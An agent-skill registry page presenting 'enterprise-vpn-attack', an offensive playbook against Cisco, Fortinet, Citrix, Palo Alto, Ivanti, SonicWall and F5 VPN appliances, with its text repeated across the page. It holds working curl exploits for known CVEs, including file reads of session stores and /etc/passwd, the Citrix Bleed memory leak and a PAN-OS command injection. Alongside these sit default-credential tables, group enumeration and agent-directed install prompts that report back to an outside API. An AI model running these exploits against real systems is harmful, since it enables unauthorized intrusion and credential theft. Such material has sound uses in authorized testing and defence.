### Pulse Secure / Ivanti Connect Secure ```bash curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 # Look for: Set-Cookie: DSAuthSession=, DSPREAUTH= # Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' ```
### SonicWall NetExtender / SMA ```bash curl -skI 'https://target/cgi-bin/welcome' | head -10 # Look for: Set-Cookie: swap=, swapauth= # Page contains: "SonicWall", "NetExtender", "SMA" ```
### F5 Big-IP / APM ```bash curl -skI 'https://target/my.policy' | head -10 # Look for: Set-Cookie: BIGipServer*, MRHSession= # Server: BIG-IP (sometimes) ```
---
## CVE matrix — pre-auth or auth-bypass (2018-2026)
### Cisco ASA / AnyConnect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |
```bash # Cisco CVE-2020-3452 — file read curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA: # /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users) # /+CSCOE+/session_password.html # /+CSCOE+/files/files.html ```
### Fortinet FortiGate / FortiOS
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` | | **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` | | **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available | | **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` | | **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |
```bash # Fortinet CVE-2018-13379 — most reliably-fingerprintable file read curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' # Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021): # IP:PORT username password (and others) ```
### Citrix NetScaler / ADC / Gateway
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` | | **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei | | **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist | | **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |
```bash # Citrix Bleed (CVE-2023-4966) detection HOST=$(python3 -c "print('A' * 24812)") curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt # If response is large (>10KB) and contains random memory contents — vulnerable # Session tokens often present in the memory dump
# CVE-2019-19781 file read curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' ```
### Palo Alto GlobalProtect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |
```bash # CVE-2024-3400 detection curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \ --data 'jsessionid=test' # Look for file-creation side-effect on test path — palo creates file with command output ```
### Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | | **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei | | **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body | | **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
```bash # CVE-2019-11510 — Pulse file read curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' ```
### SonicWall
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available | | **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |
---
## SAML SP / IdP misconfigurations (always check)
Most enterprise VPNs now use SAML for SSO. Check SP metadata:
```bash # Cisco ASA curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix curl -sk 'https://target/saml/login' | head -30 ```
Look for: - `AuthnRequestsSigned="false"` → see `hunt-saml` for XSW exploitation - `WantAssertionsSigned="false"` → severe; assertion-replay possible - Audience-restriction validation gaps - Public SP signing cert (for replay/forging attacks)
---
## Default credentials (test sparingly — lockout risk)
| Vendor | User | Password | Notes | |---|---|---|---| | Cisco ASA | admin | cisco | Default factory; rarely seen in prod | | Cisco ASA | enable_15 | cisco | Console | | Fortinet | admin | (empty) | Factory default | | Citrix NetScaler | nsroot | nsroot | Factory default | | Citrix NetScaler | nsroot | (serial number) | Newer firmware | | Palo Alto | admin | admin | Factory default | | Pulse Secure | admin | password | Factory; CIS-hardened changes this | | F5 Big-IP | root | default | Factory | | F5 Big-IP | admin | admin | Common alternate | | SonicWall | admin | password | Factory |
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
---
## Group / tunnel-group enumeration (Cisco-specific)
Cisco ASA AAA groups can sometimes be enumerated without auth.
```bash # Tunnel group enumeration via timing for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \ -X POST "https://target/+webvpn+/index.html" \ -d "username=test&password=test&group_list=$group&tgroup=&Login=Login") echo "$group: ${ms}s" done # Larger differential timing = group exists; valid groups respond slower in some builds ```
---
## AAA backend identification
After auth fails, look at error response details:
| Pattern in response | AAA backend | |---|---| | `a0=2` (Cisco) | Unknown user | | `a0=3` (Cisco) | Wrong password | | `a0=4` (Cisco) | Login restricted | | `a0=12` (Cisco) | Account locked | | `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) | | AADSTS in response body | Backed by Entra (SAML) | | `Authentication failed via RADIUS` | RADIUS backend | | `Invalid username or password` (generic) | LDAP or local DB |
If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.
---
Source provenance
Decision snapshot
4,032 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for enterprise-vpn-attack, ready for a manual X post.
enterprise-vpn-attack: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet For... 4.0K stars https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x
Listing + install path for enterprise-vpn-attack: https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
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@elementalsouls
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Sandbox only
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Apply Anthropic official brand colors, typography, and visual standards to appropriate Anthropic-related artifacts.
174.2K StarsSandbox only
Install targets
Codex install prompt
Install the "enterprise-vpn-attack" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-enterprise-vpn-attack","task":"Install enterprise-vpn-attack","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + CLI + Codex
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Maintenance
fresh
4d since push
Risk
Risky
Dependency or permission surface needs review
GitHub quality
4.0K
83/100 Quality · 69/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
RiskyA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.0K GitHub stars
Repo activity
4.0K stars, 629 forks
Maintenance
4d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackDo not use when
Alternative
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Alternative
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Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
high
Skill metadata references credentials, tokens, environment variables, or secret-bearing workflows.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
Agent should check
Copy prompt
Task: Use enterprise-vpn-attack in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
LLM text format
/api/skills/elementalsouls-enterprise-vpn-attack/install?format=text
Find alternatives
/api/skills/search?q=enterprise-vpn-attack&limit=3
Agent prompt
Use enterprise-vpn-attack for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-enterprise-vpn-attack
LLM text
/api/registry/manifest/elementalsouls-enterprise-vpn-attack?format=text
Install alias
/api/registry/install/elementalsouls-enterprise-vpn-attack
Recommend
/api/registry/recommend?task=Use%20enterprise-vpn-attack%20in%20an%20agent%20workflow&limit=3
Agent fit
Testing and QA
Use-case tags
Platforms
Claude Code
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Testing and QA
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.0K GitHub stars
Stars/forks activity
PASS4.0K stars, 629 forks; issue activity unavailable in current metadata
Recent maintenance
PASS4d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Operate local tools
I need my agent to operate local files and desktop apps in a repeatable workflow.
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Design, build, test, and ship interfaces
A practical workflow for agents that turn product briefs or Figma designs into polished frontend code, review the result, test it in a browser, and prepare a safe deployment.
Alternative shortlist
Similar skills that may fit this task.
Guidance for distinctive, intentional UI design, typography, visual direction, and non-template-like product interfaces.
Design and implementation guidance for distinctive landing pages, portfolios, product demos, and purposeful redesigns.
Create original visual art, posters, PNG assets, and PDF documents through a clear design philosophy.
Apply Anthropic official brand colors, typography, and visual standards to appropriate Anthropic-related artifacts.
--- name: enterprise-vpn-attack description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. sources: authorized-engagement, public-advisories, cisa-kev report_count: 1 ---
## When to use this skill
Trigger when recon surfaces: - `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect - `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains - Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports) - HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
DO NOT use for: - Internal lateral-movement post-foothold (out of scope per user's boundary) - VPN client-side bugs (different attack class) - IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
---
## Vendor identification (fingerprinting)
### Cisco ASA / AnyConnect ```bash curl -skI 'https://target/+CSCOE+/logon.html' | head -10 # Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content # Login page contains: "AnyConnect", "CSCOE", "logon.html" ``` ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
```bash # Path-based version hints (older builds leaked builds in URLs) curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint ```
### Fortinet FortiGate / FortiOS ```bash curl -skI 'https://target/remote/login' | head -10 # Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx" # Login page contains: "FortiGate", "Fortinet", "SSL-VPN" ``` Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
### Citrix NetScaler / ADC / Gateway ```bash curl -skI 'https://target/' | head -10 # Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler # Login page contains: "NetScaler", "Citrix Gateway"
# Version banner curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era ```
### Palo Alto GlobalProtect ```bash curl -skI 'https://target/global-protect/login.esp' | head -10 # Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal) # Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' # Or check meta tag curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' ```
### Pulse Secure / Ivanti Connect Secure ```bash curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 # Look for: Set-Cookie: DSAuthSession=, DSPREAUTH= # Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' ```
### SonicWall NetExtender / SMA ```bash curl -skI 'https://target/cgi-bin/welcome' | head -10 # Look for: Set-Cookie: swap=, swapauth= # Page contains: "SonicWall", "NetExtender", "SMA" ```
### F5 Big-IP / APM ```bash curl -skI 'https://target/my.policy' | head -10 # Look for: Set-Cookie: BIGipServer*, MRHSession= # Server: BIG-IP (sometimes) ```
---
## CVE matrix — pre-auth or auth-bypass (2018-2026)
### Cisco ASA / AnyConnect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |
```bash # Cisco CVE-2020-3452 — file read curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA: # /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users) # /+CSCOE+/session_password.html # /+CSCOE+/files/files.html ```
### Fortinet FortiGate / FortiOS
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` | | **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` | | **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available | | **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` | | **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |
```bash # Fortinet CVE-2018-13379 — most reliably-fingerprintable file read curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' # Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021): # IP:PORT username password (and others) ```
### Citrix NetScaler / ADC / Gateway
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` | | **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei | | **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist | | **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |
```bash # Citrix Bleed (CVE-2023-4966) detection HOST=$(python3 -c "print('A' * 24812)") curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt # If response is large (>10KB) and contains random memory contents — vulnerable # Session tokens often present in the memory dump
# CVE-2019-19781 file read curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' ```
### Palo Alto GlobalProtect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |
```bash # CVE-2024-3400 detection curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \ --data 'jsessionid=test' # Look for file-creation side-effect on test path — palo creates file with command output ```
### Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | | **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei | | **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body | | **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
```bash # CVE-2019-11510 — Pulse file read curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' ```
### SonicWall
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available | | **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |
---
## SAML SP / IdP misconfigurations (always check)
Most enterprise VPNs now use SAML for SSO. Check SP metadata:
```bash # Cisco ASA curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix curl -sk 'https://target/saml/login' | head -30 ```
Look for: - `AuthnRequestsSigned="false"` → see `hunt-saml` for XSW exploitation - `WantAssertionsSigned="false"` → severe; assertion-replay possible - Audience-restriction validation gaps - Public SP signing cert (for replay/forging attacks)
---
## Default credentials (test sparingly — lockout risk)
| Vendor | User | Password | Notes | |---|---|---|---| | Cisco ASA | admin | cisco | Default factory; rarely seen in prod | | Cisco ASA | enable_15 | cisco | Console | | Fortinet | admin | (empty) | Factory default | | Citrix NetScaler | nsroot | nsroot | Factory default | | Citrix NetScaler | nsroot | (serial number) | Newer firmware | | Palo Alto | admin | admin | Factory default | | Pulse Secure | admin | password | Factory; CIS-hardened changes this | | F5 Big-IP | root | default | Factory | | F5 Big-IP | admin | admin | Common alternate | | SonicWall | admin | password | Factory |
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
---
## Group / tunnel-group enumeration (Cisco-specific)
Cisco ASA AAA groups can sometimes be enumerated without auth.
```bash # Tunnel group enumeration via timing for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \ -X POST "https://target/+webvpn+/index.html" \ -d "username=test&password=test&group_list=$group&tgroup=&Login=Login") echo "$group: ${ms}s" done # Larger differential timing = group exists; valid groups respond slower in some builds ```
---
## AAA backend identification
After auth fails, look at error response details:
| Pattern in response | AAA backend | |---|---| | `a0=2` (Cisco) | Unknown user | | `a0=3` (Cisco) | Wrong password | | `a0=4` (Cisco) | Login restricted | | `a0=12` (Cisco) | Account locked | | `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) | | AADSTS in response body | Backed by Entra (SAML) | | `Authentication failed via RADIUS` | RADIUS backend | | `Invalid username or password` (generic) | LDAP or local DB |
If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.
---
Source provenance
Decision snapshot
4,032 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for enterprise-vpn-attack, ready for a manual X post.
enterprise-vpn-attack: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet For... 4.0K stars https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x
Listing + install path for enterprise-vpn-attack: https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Listing source
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Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
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@elementalsouls
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Install targets
Codex install prompt
Install the "enterprise-vpn-attack" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-enterprise-vpn-attack","task":"Install enterprise-vpn-attack","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + CLI + Codex
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Maintenance
fresh
4d since push
Risk
Risky
Dependency or permission surface needs review
GitHub quality
4.0K
83/100 Quality · 69/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
